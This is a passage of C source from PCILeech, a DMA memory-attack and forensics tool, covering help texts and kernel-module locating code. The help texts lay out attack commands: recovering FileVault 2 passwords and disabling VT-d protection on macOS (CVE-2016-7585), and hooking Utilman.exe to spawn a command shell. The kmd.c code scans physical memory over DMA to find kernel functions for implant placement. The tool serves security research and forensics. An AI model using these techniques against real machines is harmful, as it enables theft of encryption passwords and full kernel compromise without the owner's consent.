\" the disk crypto. This issue has been patched in macOS Sierra 10.12.2.         \\n\" \\\n            \" A small memory dump will also be written to disk. In case PCILeech is uable to\\n\" \\\n            \" automatically figure out the password this memory dump may be used. In order  \\n\" \\\n            \" for PCILeech to figure out the password only ascii characters may be used; if \\n\" \\\n            \" other unicode characters exist in the password PCILeech will not be able to   \\n\" \\\n            \" automatically recover the password. (CVE-2016-7585).                          \\n\" \\\n            \" EXAMPLES:                                                                     \\n\" \\\n            \" 1) recover the filevault 2 disk encryption password.                          \\n\" \\\n            \"    pcileech mac_fvrecover                                                     \\n\");\n        break;\n    case MAC_FVRECOVER2:\n        printf(\n            \" RECOVER FILEVAULT 2 PASSWORD FROM A macOS SYSTEM IMMEDIATELY AFTER UNLOCK.    \\n\" \\\n            \" MODES   : NATIVE                                                                 \\n\" \\\n            \" OPTIONS :                                                                     \\n\" \\\n            \" Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port.    \\n\" \\\n            \" Wait for the user to enter the filefault 2 password to unlock the computer.   \\n\" \\\n            \" Immediately after unlock VT-d DMA protections are dropped for a short while   \\n\" \\\n            \" and the password can be recovered in a similar way to the MAV_FVRECOVER       \\n\" \\\n            \" command. (CVE-2016-7585).                                                     \\n\" \\\n            \" EXAMPLES:                                                                     \\n\" \\\n            \" 1) recover the filevault 2 disk encryption password immediately after unlock. \\n\" \\\n            \"    pcileech mac_fvrecover2                                                    \\n\");\n        break;\n    case MAC_DISABLE_VTD:\n        printf(\n            \" DISABLE Vt-d DMA PROTECTIONS IMMEDIATELY AFTER macOS BOOT.                    \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS :                                                                     \\n\" \\\n            \" Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port.    \\n\" \\\n            \" Wait for the user to enter the filefault 2 password to unlock the computer.   \\n\" \\\n            \" Immediately after unlock VT-d DMA protections are dropped for a short while   \\n\" \\\n            \" and it is possible to disable the in-memory DMAR ACPI table - which results   \\n\" \\\n            \" in completely disabled VT-d protections until the computer is rebooted.       \\n\" \\\n            \" (CVE-2016-7585).                                                              \\n\" \\\n            \" EXAMPLES:                                                                     \\n\" \\\n            \" 1) disable Vt-d DMA protections immediately after macOS boot.                 \\n\" \\\n            \"    pcileech mac_disablevtd                                                    \\n\");\n        break;\n    case PT_PHYS2VIRT:\n        printf(\n            \" SEARCH FOR VIRTUAL ADDRESS MAPPED TO GIVEN PHYSICAL ADDRESS.                  \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -cr3, -0                                                            \\n\" \\\n            \" Walk the page table of which base is specified on the 'cr3' option to find the\\n\" \\\n            \" first occurrence of a virtual address mapped to the physical address specified\\n\" \\\n            \" in the '0' option. If an entry is found the virtual address and the PTE will  \\n\" \\\n            \" be displayed. Only the first occurrence will be displayed.                    \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) search for virtual address mapped to physical 0xfed90000 given a page table\\n\" \\\n            \"    (PML4) base at: 0x1aa000.                                                  \\n\" \\\n            \"    pcileech pt_phys2virt -cr3 0x1aa000 -0 0xfed90000                          \\n\");\n        break;\n    case PT_VIRT2PHYS:\n        printf(\n            \" RETRIEVE PHYSICAL ADDRESS THAT VIRTUAL ADDRESS RESOLVES TO.                   \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -cr3, -0                                                            \\n\" \\\n            \" Retrieve the physical address that the virtual address resolves to.  The Phys-\\n\" \\\n            \" ical address of the CR3 register is specified in '-cr3' parameter. The virtual\\n\" \\\n            \" address is specified in the '-0' option.                                      \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) search for physical address mapped by virtual 0xfffff80000fed000.          \\n\" \\\n            \"    (PML4) base at: 0x1aa000.                                                  \\n\" \\\n            \"    pcileech pt_virt2phys -cr3 0x1aa000 -0 0xfffff80000fed000                  \\n\");\n        break;\n    case TLP:\n        printf(\n            \" TRANSMIT AND RECEIVE RAW PCIe TLPs                                            \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS : -in, -vv, -wait                                                     \\n\" \\\n            \" Transmit and receive PCIe TLPs. Requires supported devices such as the SP605. \\n\" \\\n            \" The USB3380 is not a supported device. Multiple TLPs may be stacked. If not   \\n\" \\\n            \" specifying an -in parameter no TLP will be sent. Specify the -vv setting to   \\n\" \\\n            \" display received and sent TLPs. The default listen time is 0.5s, if a longer  \\n\" \\\n            \" listen time is required specify it with the -wait parameter.                  \\n\" \\\n            \" Supported only when running PCILeech on Windows.                              \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) Listen for incoming TLPs for 10s:                                          \\n\" \\\n            \"    pcileech -vv -wait 10                                                      \\n\");\n        break;\n    case PROBE:\n        printf(\n            \" PROBE MEMORY FOR READABLE PAGES                                               \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" Probe a memory region specified by defaults or -min, -max for readable pages. \\n\" \\\n            \" This is done in a device-effifient manner. Probing is performed in NATIVE mode\\n\" \\\n            \" The USB3380 is not a supported device.                                        \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) Probe memory up to 10GB                                                    \\n\" \\\n            \"    pcileech probe -max 0x280000000                                            \\n\");\n        break;\n    case REGCFG:\n        printf(\n            \" READ OR WRITE TO FPGA PCIe SHADOW CONFIGURATION SPACE                         \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS : -in -out -min -max                                                  \\n\" \\\n            \" A write is triggered by specifying the data to write as a hexascii string on  \\n\" \\\n            \" the -in parameter as well as the start address with the -min parameter.       \\n\" \\\n            \" A read is assumed unless write. The whole config space will be read.          \\n\" \\\n            \" It is possible to adjust on-screen output with parameters: -min and -max.     \\n\" \\\n            \" NB! The FPGA connect string: -device fpga://pcienotconnected=1                \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) WRITE 3 bytes starting at address: 0x231                                   \\n\" \\\n            \"    pcileech regcfg -min 0x201 -in c0fefe                                      \\n\" \\\n            \" 2) READ and only display 0x200-0x23f on-screen                                \\n\" \\\n            \"    pcileech regcfg -min 0x200 -max 0x23f                                      \\n\" \\\n            \" 2) READ to output file:                                                       \\n\" \\\n            \"    pcileech regcfg -out outputfile.bin                                        \\n\");\n        break;\n    case PSLIST:\n        printf(\n            \" LIST PROCESSES OF THE TARGET SYSTEM                                           \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS :                                                                     \\n\" \\\n            \" List the process names and pids of the targeted Windows system.               \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) List devices using 'fpga' or 'usb3380' hardware device.                    \\n\" \\\n            \"    pcileech pslist                                                            \\n\" \\\n            \" 2) List devices in dump file win10.raw                                        \\n\" \\\n            \"    pcileech pslist -device win10.raw                                          \\n\");\n        break;\n    case PSVIRT2PHYS:\n        printf(\n            \" TRANSLATE A VIRTUAL MEMORY ADDRESS INTO PHYSICAL MEMORY ADDRESS FOR GIVEN PID \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS : -0, -1                                                              \\n\" \\\n            \" Translate a Windows process virtual address into a physical address           \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) Translate a virtual address of pid 638 into its physical address           \\n\" \\\n            \"    pcileech psvirt2phys -0 638 -1 0x7ffc8b41a000                              \\n\");\n        break;\n    case EXEC_UMD:\n        printf(\n            \" EXECUTE A USER MODE SHELLCODE (EXPERIMENTAL)                                  \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" OPTIONS : -0, -1 -hook -s                                                     \\n\" \\\n            \" Hook a user mode application (currently supported method is hooking the import\\n\" \\\n            \" address table - IAT). If the hook is successful the shellcode will be executed\\n\" \\\n            \" (currently supported is creating a new process.                               \\n\" \\\n            \" pcileech UMD_WINX64_IAT_PSEXEC -0 <pid> -1 <flags> -s <exe> -hook <hook-iat>  \\n\" \\\n            \" EXAMPLEs:                                                                     \\n\" \\\n            \" 1) Create a CMD from Utilman.exe by hooking RegCloseKey (632 is the pid):     \\n\" \\\n            \"    pcileech UMD_WINX64_IAT_PSEXEC -hook ADVAPI32.dll!RegCloseKey              \\n\" \\\n            \"             -0 632 -1 0x08000000 -s c:\\\\windows\\\\system32\\\\cmd.exe            \\n\" \\\n        );\n        break;\n    case AGENT_EXEC_PY:\n        printf(\n            \" EXECUTE A PYTHON SCRIPT ON A REMOTE HOST RUNNING LeechAgent                   \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" REQUIRE : Windows/Remote LeechAgent                                           \\n\" \\\n            \" OPTIONS : -in, -out                                                           \\n\" \\\n            \" Execute a Python script contained in the -in parameter on a remote host having\\n\" \\\n            \" the LeechAgent installed.    The script will be executed in an embedded Python\\n\" \\\n            \"  and the MemProcFS/LeechCore python APIs will be available and initialized.   \\n\" \\\n            \" Output will be displayed on screen unless -out parameter is specified.        \\n\" \\\n            \" EXAMPLE:                                                                      \\n\" \\\n            \" 1) Execute the script 'myscript.py' on the remote host test1.contoso.com using\\n\" \\\n            \"    physical memory acquired from WinPmem:                                     \\n\" \\\n            \"    pcileech.exe agent-execpy -in myscript.py -device pmem                     \\n\" \\\n            \"                 -remote rpc://test1$@contoso.com:test1.contoso.com            \\n\" \\\n        );\n        break;\n    case AGENT_FORENSIC:\n        printf(\n            \" RUN MemProcFS ON REMOTE HOST RUNNING LeechAgent AND RETRIEVE RESULT           \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n            \" REQUIRE : Windows/Remote LeechAgent                                           \\n\" \\\n            \" OPTIONS : -out                                                                \\n\" \\\n            \" Start the MemProcFS memory analysis on the remote host. Results in the form of\\n\" \\\n            \" ElasticSearch compatible JSON files are retrieved and saved locally. Result is\\n\" \\\n            \" saved in working directory unless a _DIRECTORY_ is specified in -out parameter\\n\" \\\n            \" EXAMPLE:                                                                      \\n\" \\\n            \" 1) Run memory analysis on remote host using WinPmem and save result in c:\\\\temp\\n\" \\\n            \"    pcileech.exe agent-forensic -out c:\\temp -device pmem                      \\n\" \\\n            \"                 -remote rpc://test1$@contoso.com:test1.contoso.com            \\n\" \\\n        );\n        break;\n    case NONE:\n        printf(\n            \" PERFORM NO ACTION AT ALL - 'NONE' ACTION                                      \\n\" \\\n            \" MODES   : NATIVE, KMD                                                         \\n\" \\\n            \" OPTIONS : -tlpwait -bar-ro -bar-rw                                            \\n\" \\\n            \" Perform no action at all. This may be useful when just listening for incoming \\n\" \\\n            \" TLPs or when implemeting the PCIe BARs in software (e.g. for testing).        \\n\" \\\n            \" EXAMPLES:      (example kernel module is loaded at address 0x7fffe000)        \\n\" \\\n            \" 1) listen for TLPs and implement PCIe BAR support in read/write mode.         \\n\" \\\n            \"    pcileech none -device fpga -vvv -tlpwait 10000 -bar-rw                     \\n\" \\\n        );\n        break;\n    case BENCHMARK:\n        printf(\n            \" PERFORM READ/WRITE BENCHMARKING                                               \\n\" \\\n            \" MODES   : NATIVE                                                              \\n\" \\\n        );\n        break;\n    case EXEC_KMD:\n        _HelpShowExecCommand();\n        break;\n    default:\n        printf(\n            \" Detailed help for this command or implant is not available.                   \\n\");\n        break;\n    }\n}\n"
  },
  {
    "path": "pcileech/help.h",
    "content": "// help.h : definitions related to displaying help texts.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __HELP_H__\n#define __HELP_H__\n#include \"pcileech.h\"\n\nVOID Help_ShowGeneral();\nVOID Help_ShowDetailed();\nVOID Help_ShowInfo();\n\n#endif /* __HELP_H__ */\n"
  },
  {
    "path": "pcileech/kmd.c",
    "content": "// kmd.c : implementation related to operating systems kernel modules functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"kmd.h\"\n#include \"charutil.h\"\n#include \"device.h\"\n#include \"util.h\"\n#include \"executor.h\"\n#include \"vmmx.h\"\n#include \"ob/ob.h\"\n\ntypedef struct tdKMDHANDLE_S12 {\n    QWORD qwPageAddr;\n    DWORD dwPageOffset;\n    BYTE pbOrig[4096];\n    BYTE pbPatch[4096];\n    BYTE pbLatest[4096];\n    QWORD qwPTE;\n    QWORD qwPTEOrig;\n    QWORD qwPTEAddrPhys;\n} KMDHANDLE_S12, *PKMDHANDLE_S12;\n\ntypedef struct tdKERNELSEEKER {\n    PBYTE pbSeek;\n    DWORD cbSeek;\n    DWORD aSeek;\n    DWORD aTableEntry;\n    DWORD aFn;\n    QWORD vaSeek;\n    QWORD vaFn;\n} KERNELSEEKER, *PKERNELSEEKER;\n\n#define STAGE1_OFFSET_CALL_ADD          1\n#define STAGE2_OFFSET_STAGE3_PHYSADDR   4\n#define STAGE2_OFFSET_FN_STAGE1_ORIG    8\n#define STAGE2_OFFSET_EXTRADATA1        16\n\n_Success_(return) BOOL KMD_GetPhysicalMemoryMap();\n_Success_(return) BOOL KMD_SetupStage3(_In_ DWORD dwPhysicalAddress, _In_ PBYTE pbStage3, _In_ DWORD cbStage3);\n\n//-------------------------------------------------------------------------------\n// Signature mathing below.\n//-------------------------------------------------------------------------------\n\n_Success_(return)\nBOOL KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ QWORD qwAddrBase, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatch)\n{\n    PBYTE pb;\n    PSIGNATURE ps;\n    QWORD pgIdx, i, j, qwAddressCurrent;\n    for(pgIdx = 0; pgIdx < cPages; pgIdx++) {\n        pb = pbPages + (4096 * pgIdx);\n        qwAddressCurrent = qwAddrBase + (4096 * pgIdx);\n        for(i = 0; i < cSignatures; i++) {\n            ps = pSignatures + i;\n            for(j = 0; j < 2; j++) {\n                if(ps->chunk[j].qwAddress) { // already processed and found - continue\n                    continue;\n                }\n                if((ps->chunk[j].cbOffset > 0xfff) && ((ps->chunk[j].cbOffset & ~0xfff) != qwAddressCurrent)) {\n                    continue;\n                }\n                if(!ps->chunk[j].cb || !memcmp(pb + (ps->chunk[j].cbOffset & 0xfff), ps->chunk[j].pb, ps->chunk[j].cb)) {\n                    ps->chunk[j].cb = 4096;\n                    memcpy(ps->chunk[j].pb, pb, 4096);\n                    ps->chunk[j].qwAddress = qwAddressCurrent;\n                }\n            }\n            if(ps->chunk[0].qwAddress && ps->chunk[1].qwAddress) {\n                *pdwSignatureMatch = (DWORD)i;\n                return TRUE;\n            }\n        }\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMD_FindSignature1(_Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx)\n{\n    BOOL result = FALSE;\n    QWORD i, qwAddrMax, qwAddrCurrent = max(0x100000, ctxMain->cfg.paAddrMin);\n    PBYTE pbBuffer8M = NULL;\n    PPAGE_STATISTICS pPageStat = NULL;\n    // special case (fixed memory location && zero signature byte length)\n    for(i = 0; i < cSignatures; i++) {\n        if((pSignatures[i].chunk[0].cbOffset > 0xfff) && (pSignatures[i].chunk[0].cb == 0) && (pSignatures[i].chunk[1].cbOffset > 0xfff) && (pSignatures[i].chunk[1].cb == 0)) {\n            pSignatures[i].chunk[0].qwAddress = pSignatures[i].chunk[0].cbOffset & ~0xFFF;\n            pSignatures[i].chunk[1].qwAddress = pSignatures[i].chunk[1].cbOffset & ~0xFFF;\n            return TRUE;\n        }\n    }\n    // initialize / allocate memory / load signatures\n    if(!(pbBuffer8M = LocalAlloc(0, 0x800000))) { goto cleanup; }\n    // loop kmd-find\n    qwAddrMax = min(ctxMain->cfg.paAddrMax, ctxMain->dev.paMax);\n    if(!PageStatInitialize(&pPageStat, qwAddrCurrent, qwAddrMax, \"Searching for KMD location\", FALSE, FALSE)) { goto cleanup; }\n    while(qwAddrCurrent < qwAddrMax) {\n        pPageStat->qwAddr = qwAddrCurrent;\n        if(DeviceReadDMA(qwAddrCurrent, 0x800000, pbBuffer8M, pPageStat)) {\n            result = KMD_FindSignature2(pbBuffer8M, 2048, qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx);\n            if(result) {\n                pPageStat->szAction = \"Waiting for KMD to activate\";\n                goto cleanup;\n            }\n        }\n        qwAddrCurrent += 0x800000;\n    }\ncleanup:\n    PageStatClose(&pPageStat);\n    LocalFree(pbBuffer8M);\n    return result;\n}\n\n// EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information).\n#define IS_SIGNATURE_EFI_RUNTIME_SERVICES(pb) ((*(PQWORD)(pb) == 0x56524553544e5552) && (*(PDWORD)(pb + 12) == 0x88) && (*(PDWORD)(pb + 20) == 0))\n\n_Success_(return)\nBOOL KMD_FindSignature_EfiRuntimeServices(_Out_ PQWORD pqwAddrPhys)\n{\n    BOOL result = FALSE;\n    QWORD o, qwCurrentAddress;\n    PPAGE_STATISTICS pPageStat = NULL;\n    PBYTE pbBuffer16M = NULL;\n    if(!(pbBuffer16M = LocalAlloc(0, 0x01000000))) { goto cleanup; }\n    // Option 1: User-supplied efibase option (= base of EFI RUNTIME SERVICES table (RUNTSERV)).\n    if(ctxMain->cfg.paEFI_IBI_SYST) { // technically not EFI_IBI_SYST table but we use this user-supplied option anyway here.\n        result =\n            ((ctxMain->cfg.paEFI_IBI_SYST & 0xfff) > 0x18) &&\n            ((ctxMain->cfg.paEFI_IBI_SYST & 0xfff) < (0x1000 - 0x88)) &&\n            DeviceReadMEM(ctxMain->cfg.paEFI_IBI_SYST & ~0xfff, 0x1000, pbBuffer16M, TRUE) &&\n            IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbBuffer16M + (ctxMain->cfg.paEFI_IBI_SYST & 0xfff));\n        LocalFree(pbBuffer16M);\n        *pqwAddrPhys = ctxMain->cfg.paEFI_IBI_SYST;\n        return result;\n    }\n    // Option 2: Scan for EFI RUNTIME SERVICES table (RUNTSERV).\n    ctxMain->cfg.paAddrMin &= ~0xfff;\n    ctxMain->cfg.paAddrMax = (ctxMain->cfg.paAddrMax + 1) & ~0xfff;\n    if(ctxMain->cfg.paAddrMax == 0) {\n        ctxMain->cfg.paAddrMax = 0x100000000;\n    }\n    qwCurrentAddress = ctxMain->cfg.paAddrMin;\n    if(!PageStatInitialize(&pPageStat, ctxMain->cfg.paAddrMin, ctxMain->cfg.paAddrMax, \"Searching for EFI Runtime Services\", ctxMain->phKMD ? TRUE : FALSE, ctxMain->cfg.fVerbose)) { goto cleanup; }\n    while(qwCurrentAddress < ctxMain->cfg.paAddrMax) {\n        result = Util_Read16M(pbBuffer16M, qwCurrentAddress, pPageStat);\n        if(!result && !ctxMain->cfg.fForceRW && !ctxMain->phKMD) {\n            goto cleanup;\n        }\n        for(o = 0x18; o < 0x01000000 - 0x88; o += 8) {\n            // EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information).\n            // 0x30646870 == phd0 EFI memory artifact required to rule out additional false positives.\n            if((*(PDWORD)(pbBuffer16M + o - 0x18) == 0x30646870) && IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbBuffer16M + o)) {\n                pPageStat->szAction = \"Waiting for EFI Runtime Services\";\n                *pqwAddrPhys = qwCurrentAddress + o;\n                result = TRUE;\n                goto cleanup;\n            }\n        }\n        // add to address\n        qwCurrentAddress += 0x01000000;\n    }\ncleanup:\n    PageStatClose(&pPageStat);\n    LocalFree(pbBuffer16M);\n    return result;\n}\n\n//-------------------------------------------------------------------------------\n// macOS generic kernel seek below.\n//-------------------------------------------------------------------------------\n\nBOOL KMD_MacOSIsKernelAddress(_In_ PBYTE pbPage)\n{\n    DWORD i;\n    if(*(PDWORD)pbPage != 0xfeedfacf) { return FALSE; } // mach_header_64 magic\n    if(*(PDWORD)(pbPage + 4) != 0x01000007) { return FALSE; } // mach_header_64 cputype\n    // search for kernel header data (eliminate other macho-headers)\n    for(i = 0x20; i < 0xfc0; i += 8) {\n        if(*(PQWORD)(pbPage + i) == 0x5450746f6F625F5F) { // __bootPT\n            return TRUE;\n        }\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMD_MacOSKernelGetBase(_Out_ PDWORD pdwKernelBase, _Out_ PDWORD pdwTextHIB, _Out_ PDWORD pcbTextHIB)\n{\n    BYTE pbPage[4096];\n    DWORD i, cKSlide;\n    for(cKSlide = 1; cKSlide <= 512; cKSlide++) {\n        *pdwKernelBase = cKSlide * 0x00200000; // KASLR = ([RND:1..512] * 0x00200000)\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, *pdwKernelBase, 4096, pbPage)) {\n            printf(\"KMD: Failed. Error reading address: 0x%08x\\n\", *pdwKernelBase);\n            return FALSE;\n        }\n        if(KMD_MacOSIsKernelAddress(pbPage)) {\n            for(i = 0x20; i < 0xfc0; i += 8) {\n                if(*(PQWORD)(pbPage + i) == 0x0000747865745F5F && *(PQWORD)(pbPage + i + 0x10) == 0x0000004249485F5F) { // __text && __HIB\n                    *pdwTextHIB = (DWORD)*(PQWORD)(pbPage + i + 0x20);\n                    *pcbTextHIB = (DWORD)*(PQWORD)(pbPage + i + 0x28);\n                    return TRUE;\n                }\n            }\n        }\n    }\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMD_MacOSKernelSeekSignature(_Out_ PSIGNATURE pSignature)\n{\n    const BYTE SIGNATURE_BCOPY[] = { 0x48, 0x87, 0xF7, 0x48, 0x89, 0xD1, 0x48, 0x89, 0xF8, 0x48, 0x29, 0xF0, 0x48, 0x39, 0xC8, 0x72 };\n    DWORD i, dwKernelBase, dwTextHIB, cbTextHIB;\n    PBYTE pbTextHIB;\n    if(!KMD_MacOSKernelGetBase(&dwKernelBase, &dwTextHIB, &cbTextHIB)) {\n        return FALSE;\n    }\n    cbTextHIB = (cbTextHIB + 0xfff) & 0xfffff000;\n    pbTextHIB = LocalAlloc(0, cbTextHIB);\n    if(!pbTextHIB) { return FALSE; }\n    if(!DeviceReadDMA(dwTextHIB, cbTextHIB, pbTextHIB, NULL)) {\n        LocalFree(pbTextHIB);\n        return FALSE;\n    }\n    for(i = 0; i < cbTextHIB - 0x300; i++) {\n        if(0 == memcmp(pbTextHIB + i, SIGNATURE_BCOPY, 16)) {\n            Util_CreateSignatureMacOSGeneric(dwKernelBase, dwTextHIB + i, dwTextHIB + cbTextHIB - 0x300, pSignature);\n            LocalFree(pbTextHIB);\n            return TRUE;\n        }\n    }\n    LocalFree(pbTextHIB);\n    return FALSE;\n}\n\n//-------------------------------------------------------------------------------\n// FreeBSD generic kernel seek below.\n//-------------------------------------------------------------------------------\n\n_Success_(return)\nBOOL KMD_FreeBSDKernelSeekSignature(_Out_ PSIGNATURE pSignature)\n{\n    DWORD i, dwo_memcpy_str, dwo_strtab, dwa_memcpy;\n    PBYTE pb64M = LocalAlloc(LMEM_ZEROINIT, 0x04000000);\n    if(!pb64M) { return FALSE; }\n    for(i = 0x01000000; i < 0x04000000; i += 0x01000000) {\n        DeviceReadDMA(i, 0x01000000, pb64M + i, NULL);\n    }\n    // 1: search for string 'vn_open'\n    i = 0;\n    while(TRUE) {\n        i++;\n        if(i > 0x04000000 - 0x1000) { goto error; }\n        if(0 == memcmp(pb64M + i, \"\\0vn_open\", 9)) { break; }\n    }\n    dwo_memcpy_str = i + 1;\n    i = i & ~3;\n    // 2: scan backwards for base of strtab\n    while(TRUE) {\n        i -= 4;\n        if(i < 0x1000) { goto error; }\n        if(0 == *(PDWORD)(pb64M + i - 4)) {\n            break;\n        }\n    }\n    dwo_strtab = i;\n    i = i - 8; // skip necessary\n    // 3: scan backwards for 'vn_open' function address\n    while(TRUE) {\n        i -= 0x18;\n        if(i < 0x1000) { goto error; }\n        if(0 == *(PQWORD)(pb64M + i)) { goto error; }\n        if(dwo_memcpy_str - dwo_strtab == *(PDWORD)(pb64M + i)) { break; }\n    }\n    dwa_memcpy = *(PDWORD)(pb64M + i + 8) & 0x7fffffff;\n    // 4: create signature\n    LocalFree(pb64M);\n    Util_CreateSignatureFreeBSDGeneric(dwo_strtab, dwa_memcpy, pSignature);\n    return TRUE;\nerror:\n    LocalFree(pb64M);\n    return FALSE;\n}\n\n\n\n//-------------------------------------------------------------------------------\n// LINUX COMPRESSED SYMBOL TABLE (KALLSYMS) BELOW:\n// loosely based on the algorithmic descriptions given by:\n// https://github.com/marin-m/vmlinux-to-elf/blob/master/vmlinux_to_elf/kallsyms_finder.py\n//-------------------------------------------------------------------------------\n\ntypedef struct tdKALLSYMS_SYMBOL {\n    QWORD va;\n    CHAR tp;\n    CHAR sz[];\n} KALLSYMS_SYMBOL, *PKALLSYMS_SYMBOL;\n\n/*\n* Collect the symbols their addresses from the kallsyms table.\n* CALLER DECREF: return\n*/\n_Success_(return != 0)\nPOB_MAP KMD_Kallsyms_Collect(_In_reads_bytes_(cb) PBYTE pb, _In_ DWORD cb, _In_ QWORD vaKernelBase, _In_reads_(256) LPSTR *aszTokens, _In_ DWORD cSymbols, _In_ DWORD cboOffsets, _In_ DWORD cboNames, _In_ DWORD cboNamesMax)\n{\n    QWORD va, qwKey;\n    BYTE cTok, bTok, oT;\n    PKALLSYMS_SYMBOL pSym;\n    POB_MAP pmObSymbols = NULL;\n    CHAR ch, sz[MAX_PATH] = { 0 };\n    DWORD iSymbol = 0, cbo, osz, cboAddr;\n    if(!(pSym = LocalAlloc(0, sizeof(KALLSYMS_SYMBOL) + MAX_PATH))) {\n        return FALSE;\n    }\n    if(!(pmObSymbols = ObMap_New(NULL, OB_MAP_FLAGS_OBJECT_LOCALFREE))) {\n        LocalFree(pSym);\n        return FALSE;\n    }\n    cbo = cboNames;\n    while((iSymbol < cSymbols) && (cbo < cboNamesMax)) {\n        // address:\n        cboAddr = *(PDWORD)(pb + cboOffsets + iSymbol * 4);\n        if(cboAddr >> 31) {\n            va = vaKernelBase + (DWORD)(0xffffffff - cboAddr);\n        } else {\n            va = cboAddr;\n        }\n        // symbol token length:\n        cTok = pb[cbo++];\n        // symbol type and name from token table:\n        osz = 0;\n        while(cTok) {\n            cTok--;\n            bTok = pb[cbo++];\n            oT = 0;\n            ch = 0xff;\n            while(ch && (osz < MAX_PATH - 1)) {\n                ch = aszTokens[bTok][oT++];\n                sz[osz++] = ch;\n            }\n            osz--;\n        }\n        // push symbol to result map:\n        if(osz > 1) {\n            pSym->va = va;\n            memcpy((PBYTE)pSym + 8, sz, osz + 1);\n            qwKey = CharUtil_Hash64A(pSym->sz, FALSE);\n            ObMap_PushCopy(pmObSymbols, qwKey, pSym, 8 + osz + 1);\n        }\n        //printf(\"%04x %016llx %c %s\\n\", iSymbol, va, sz[0], sz + 1);\n        iSymbol++;\n    }\n    LocalFree(pSym);\n    if(ObMap_Size(pmObSymbols) < 0x10) {\n        Ob_DECREF_NULL(&pmObSymbols);\n    }\n    return pmObSymbols;\n}\n\n/*\n* Locate the start of the kallsyms offsets table.\n* Table is sorted by increasing addresses/offsets.\n*/\n_Success_(return)\nBOOL KMD_Kallsyms_FindOffsets(_In_reads_bytes_(cb) PBYTE pb, _In_ DWORD cb, _In_ DWORD cboNames, _In_ DWORD cboBase, _In_ DWORD cSym, _Out_ PDWORD pcboStart, _Out_ PQWORD pvaKernelBase)\n{\n    DWORD i, cbo = 0, o1, o2;\n    if(cSym < 0x10) { return FALSE; }\n    if(!cboBase) {\n        if(cSym * 4 + 8 > cboNames) { return FALSE; }\n        cboBase = cboNames - 0x10 - ((cSym + 1) & ~1) * 4;\n    }\n    *pcboStart = cboBase;\n    // verify that the offsets are in increasing address order\n    if((cboBase > cb - 0x100) || (cSym < 0x10)) { return FALSE; }\n    o1 = *(PDWORD)(pb + cboBase);\n    for(i = 1; i < cSym; i++) {\n        cbo = cboBase + i * 4;\n        if(cbo > cb - 4) { return FALSE; }\n        o2 = *(PDWORD)(pb + cbo);\n        if(((o2 > o1) && (o1 >> 31) && (o2 >> 31)) || (!(o2 >> 31) && (o2 < o1))) {\n            return FALSE;\n        }\n        o1 = o2;\n    }\n    *pvaKernelBase = *(PQWORD)(pb + ((cbo + 8) & ~7));\n    return TRUE;\n}\n\n/*\n* Locate the start of the kallsyms compressed name table. Use the last marker\n* offset as a stating point and scan backwards for the start of the table.\n* The start of the table contains a QWORD value with the length of the table.\n*/\n_Success_(return)\nBOOL KMD_Kallsyms_FindNames(_In_reads_bytes_(cb) PBYTE pb, _In_ DWORD cb, _In_ DWORD cboMarkers, _In_ DWORD cboMarkersMaxNameOffset, _Out_ PDWORD pcboStart, _Out_ PDWORD pcSymbols)\n{\n    QWORD cSymbols;\n    DWORD cbo, cboStart;\n    if(cboMarkersMaxNameOffset > cboMarkers) { return FALSE; }\n    cboStart = (cboMarkers - cboMarkersMaxNameOffset) & ~7;\n    cbo = cboStart;\n    while(cbo && (cbo + 0x10000 > cboStart)) {\n        cSymbols = *(PQWORD)(pb + cbo);\n        if(cSymbols < 0x00100000) {\n            *pcSymbols = (DWORD)cSymbols;\n            *pcboStart = cbo + 8;\n            return TRUE;\n        }\n        cbo -= 8;\n    }\n    return FALSE;\n}\n\n/*\n* The kallsyms 'marker' table is a table of offsets into the kallsyms token\n* table for each 256 entries. The table is sorted by address and thus isn't\n* usable for pcileech, but the start offset is still important, as well as\n* the topmost marker containing the maximum marked name offset.\n* The token table can be either of 8-byte or 4-byte entries depending on\n* kernel version.\n*/\n_Success_(return)\nBOOL KMD_Kallsyms_FindMarkers(_In_reads_bytes_(cb) PBYTE pb, _In_ DWORD cb, _In_ DWORD cboTokenTable, _Out_ PDWORD pcboStart, _Out_ PDWORD 